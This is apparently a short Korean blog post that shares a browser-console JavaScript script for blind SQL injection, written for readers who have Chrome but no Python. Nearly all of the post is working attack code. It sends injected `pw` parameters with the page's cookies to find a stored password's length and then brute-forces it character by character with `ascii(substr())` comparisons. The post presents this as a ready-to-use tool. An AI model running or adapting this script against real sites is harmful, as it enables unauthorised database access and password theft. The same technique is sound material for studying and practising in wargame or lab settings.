파이썬이 없어요!

파이썬은 없고 크롬하나 유일하게 있어 자바스크립트로 blind SQL Injection이 하고싶은 저누님들이 있을 것 같아 올려둡니다.

const request_hack = async ( url, cookie ) => {
    let result = await fetch(encodeURI(url), {
        "headers" : {
            "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
            "cookie" : cookie,
        },
        "referrerPolicy": "strict-origin-when-cross-origin",
          "body": null,
         "method": "GET",
         "mode": "cors"
    }).then((res) => {
        return res.text();
    });
 
    return result;
}
 
let length = 0;
let password = "";
 
 
// ---------- find length -----------
 
let res;
for(let i = 0; i < 20; i++){
    res = await request_hack(`https://www.example.com/index.php?pw=1' or length(pw)=${i} -- `, document.cookie)
    if(res.indexOf("확인할 문자열") != -1){
        length = i;
        console.log(`[*] password length : ${length}`);
    }
}
 
// ---------- find length -----------
 
 
// ---------- find password -----------
 
for(let i = 1; i <= length; i++){
    for(let j = 48; j <= 126; j++){
        res = await request_hack(`https://www.example.com/index.php?pw=1' or ascii(substr(pw,${i},1))=${j} -- `, document.cookie)
        if(res.indexOf("확인할 문자열") != -1){
            password += String.fromCharCode(j);
            console.log(`[*] password : ${password}`)
            break;
        }
    }
}
 
 
// ---------- find password -----------

 

휴가휴가휴가